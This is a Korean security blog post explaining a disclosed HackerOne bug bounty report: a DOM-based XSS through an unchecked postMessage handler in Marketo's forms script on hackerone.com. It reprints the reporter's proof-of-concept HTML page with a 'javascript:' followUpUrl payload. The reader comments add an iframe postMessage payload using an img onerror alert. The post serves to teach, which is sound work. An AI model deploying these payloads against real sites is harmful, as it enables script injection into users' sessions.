주중에 HackerOne 리포트 뒤적뒤적 찾아보다가 postMessage를 이용한 DOM Base XSS가 있어 공유차 글 작성해봅니다.

https://hackerone.com/reports/398054

postMessage XSS?

postMessage를 이용하면 크로스 도메인간 데이터 송/수신 및 처리가 가능한데, 이 구간에서 사용자 입력에 대한 검증이 부족할 때 XSS 삽입을 할 수 있습니다. 예전에 글 작성해뒀던게 있으니 자세한 내용은 아래 링크에서 참고해주세요~
https://www.hahwul.com/2016/08/web-hacking-html5-postmessage-api.html

postMessage XSS on HackerOne(by adac95)

adac95(Adam)은 이 취약점은 50만원정도(500$) 받았다고 하네요, 보통 XSS 버그바운티 가격선에서 받은 것 같습니다. 뭐 이건 중요한게 아니니 바로 내용을 보시죠.

우선 hackerone.com 내 contact 페이지쪽엔 Marketo forms2.js 가 있습니다. 정확한 기능은 잘 모르겠으나..(제가 분석한건 아니니)

우선 이 자바스크립트에는 PostMessage 처리 구간이 존재합니다. onMessage() 핸들러로 데이터를 전달받아서 처리하게 되는데 mktoReady가 true이면 onReady(), false이면 onResponse 가 호출됩니다.

$(window).on("message", onMessage);
function onMessage (e){
  if(e.originalEvent && e.originalEvent.data){
    var d;
    try {
      d = $.parseJSON(e.originalEvent.data);
    }catch(ex){
      return;
    }
    if(d.mktoReady){
      onReady();
    }else if(d.mktoResponse){
      onResponse(d.mktoResponse)   
    }
  }
}

onResponse에는 mktoResponse의 상태를 보고 error, success로 분기해주는 로직이 있습니다.

function onResponse(mktoResponse){
  var requestId = mktoResponse["for"];
  var request = inflight[requestId];
  if(request){
    if(mktoResponse.error){
      request.error(mktoResponse.data);
    }else{
      request.success(mktoResponse.data);
    }
  }
  delete inflight[requestId];
}

여기서 문제가 되는 부분은 success 분기 구간인데, 인자값으로 받은 데이터에서 url을 뽑아내고, 최종적으로 location.href에 들어가게 됩니다.

var success = function (data){
  if(data.error){
    onError(data);
  }else if(data.formId){
    var u = findCorrectFollowUpUrl(data);
    if(false === onSuccess(values, u)){
      return;
    }
    cookieHelper.removeCookieAllDomains("_mkto_purl");
    location.href = u;
  }
}
이 과정중에선 Js단에서 인자값에 대한 Escape 처리 등이 없었고, javascript: , data: 등의 구문이 들어오게 되며 그대로 스크립트로 실행하여 처리하게 될겁니당.
순서를 보면..

onResponse => request.success => data.err(에러 아닐 때 ) => location.href={User-Input}

PoC

결국 postMessage로 공격코드가 포함된 mktoResponse를 전달해주면 트리거됩니다.

<!DOCTYPE html>
<html>
    <head>
        <title>Hackerone PostMessage XSS</title>
    </head>
    <body>
        <p>You want to contact Hackerone! Click this button and submit the form!</p>
        <button id="openH1">Click Here</button>
        <script>
            var h1Win;

            function openWin(){
                h1Win = window.open("https://www.hackerone.com/#contact/");
                setInterval(sendMessage, 250);
            }

            function sendMessage(){
                h1Win.postMessage('{"mktoResponse":{"for":"mktoFormMessage0","error":false,"data":{"formId":"1013","followUpUrl":"javascript:alert(document.domain);//","aliId":17144124}}}',"*");
            }

            document.getElementById("openH1").addEventListener('click', openWin);
        </script>
    </body>
</html>

hackerone.com에서는 아래와 같은 포맷으로 데이터를 받았을테고, 결국 followUpUrl을 따라서 javascript 구문이 동작하게 됩니다.

{"mktoResponse":{"for":"mktoFormMessage0","error":false,"data":{"formId":"1013","followUpUrl":"javascript:alert(document.domain);//","aliId":17144124}}}

https://hackerone.com/reports/398054

Conclusion

솔직히 postMessage 구간은 신경쓰지 않으면 눈에 굉장히 안들어오긴 합니다.
(모든 페이지에서 postMesage가 사용되는지 체크, 검증하기엔 좀 그렇죠. 해도 ZAP/Burp Extension 등으로 해야 그나마 나을듯요)

전에 내용으로만 정리한게 실제로 나와주니 좀 반갑긴하네요..
(물론 예전 글 썼던 2016년쯤, 일하다가 한번 저걸로 찾은적이 있긴합니다. 그게 처음이자 마지막이였네요…ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ)

그나저나 전 버그바운티 하기 왜이리 귀찮을까요... 손이 안가네요

media0.giphy.com/media/NWg7M1VlT101W/giphy.gif

Reference

https://hackerone.com/reports/398054
https://www.hahwul.com/2016/08/web-hacking-html5-postmessage-api.html

댓글 4개:

  1. 음...궁금한게 있는데요 postMessaage XSS 공격은 어떤식으로 공격코드를 전달할 수 있나요..?
    예를들면 Reflected 공격은 공격코드가 포함된 URL링크를 보내고, Stored 공격은 저장되는 글에 코드를 입력해서 공격하는 구조인데.. 이거는 잘상상이 안가서 질문드립니다 'ㅅ';

    답글삭제
    답글
    1. 음 우선 개인적으로 XSS는 2가지로 나눠서 보구요(reflected, stored) 이야기주신대로 저장됬냐, 반사되냐 차이이죠. (전 이런면에선 DOM도 따로 분리하는게 좀 그래요)

      postMessage를 이용해서 reflected 또는 stored XSS를 발생시킨다고 보시는게 더 좋을 것 같아요.

      예를들어 A 사이트에 postMessage를 이용해서 DOM에 데이터를 쓰는 취약 페이지가 있다면 공격자가 다른 사이트에 XSS를 찾아서 스크립트를 삽입하거나 자신의 페이지에 공격코드를 삽입하고 해당 페이지를 사용자가 방문할 떄 A 사이트에서 스크립트가 동작하게 하는 형태로 공격코드가 전달됩니다.

      요점은 A사이트 도메인에서 스크립트가 동작했다는거구요 :)

      삭제
    2. Reflected XSS의 요점도 대상 사이트에서 스크립트가 동작한다는거고, 이야주신 URL을 전달하는 방법도 여러 공격 수단 중 하나일뿐이에요.

      - 공격 url을 직접 전달
      - 공격자 사이트에 reflected XSS 페이지로 넘어가는 코드를 삽입
      - 다른 취약한 사이트에 reflected XSS 요청을 발생시키는 코드를 삽입
      + 예를들면 iframe? iframe을 쓰는 서비스들은 대체로 허용된 도메인(youtube 등)만 쓸 수 있게하는데, youtube에서 reflected xss를 찾으면 직접 전달하지 않고 저런 페이지를 통해서 또 코드를 전달할 수 있겠죵)
      - 등등 무수히 많습니닷

      삭제
    3. 이야기가 딴곳으로 샜었느데, 이런식의 코드로 생각해볼 수 있겠네요.

      <div id="message"></div>
      <iframe id="tt" src="(취약한 postMessage를 사용하는 페이지)" width="200" height="100"></iframe>

      <script type="text/javascript">
      var a = function(){
      var dest = document.getElementById("tt");
      dest.contentWindow.postMessage("
      Parent: MSG<img src='z' onerror=alert(45)>","*");
      }();
      </script>

      삭제